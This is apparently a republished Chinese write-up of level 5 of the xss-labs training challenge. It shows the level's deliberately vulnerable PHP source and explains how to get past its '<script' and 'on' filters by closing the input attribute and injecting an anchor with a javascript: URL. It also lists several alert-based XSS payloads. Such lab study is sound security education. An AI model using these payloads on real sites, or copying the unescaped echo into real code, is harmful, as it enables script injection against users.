安全-Level5之on事件绕过(xss-labs)
Posted 小狐狸FM
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了安全-Level5之on事件绕过(xss-labs)相关的知识,希望对你有一定的参考价值。
前言
安装步骤跳过,源码可去github上下载
一、题目
http://127.0.0.1/xss-labs-master/level5.php
源码如下
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
confirm("完成的不错!");
window.location.href="level6.php?keyword=break it out!";
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>
二、绕过
[1]. 小写转换
[2]. 字符串过滤
因为两个过滤之后都没有置空,所以没法用双写绕过
第一个过滤是匹配到<script
,就替换成<scr_ipt
xss
的脚本不一定需要用<script>
标签来实现,还有很多种方式
一种标签被过滤了,就换另一种
<svg onload=alert(233)>
<body onload=alert("内容")>
<a href=“” onclick=alert(“内容”)>链接文字</a>
<img src=WrongIP onerror=alert("内容")>
第二个过滤是匹配到
on
,就替换成o_n
这样的话很多事件onload
、onclick
和onerror
都失效了
不过还有一个javascript:
的事件没有失效,可以先本地写个php
代码测试一下
<?php
$str = "<a href=javascript:alert(233)>xss</a>";
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo $str3;
?>
可以弹窗,说明
<a>
标签和javascript
事件可以绕过
[3]. 标签闭合
然后需要在调用
$str3
变量的时候,闭合标签<input>
闭合的话先看
value
的值是用什么引号括起来的,然后构造闭合条件闭合掉前后的双引号
单引号是为了把HTML
括起来,不需要去闭合它
""
然后是
<input>
标签的闭合,后面还会多出来"
和>
可以去构造后面的闭合,也可以不去弄,不会影响xss
弹窗
">xss代码"
最后就是把步骤
[2]
的payload
放到xss
代码位置,点击链接后成功弹窗
"><a href=javascript:alert(233)>xss</a>"
以上是关于安全-Level5之on事件绕过(xss-labs)的主要内容,如果未能解决你的问题,请参考以下文章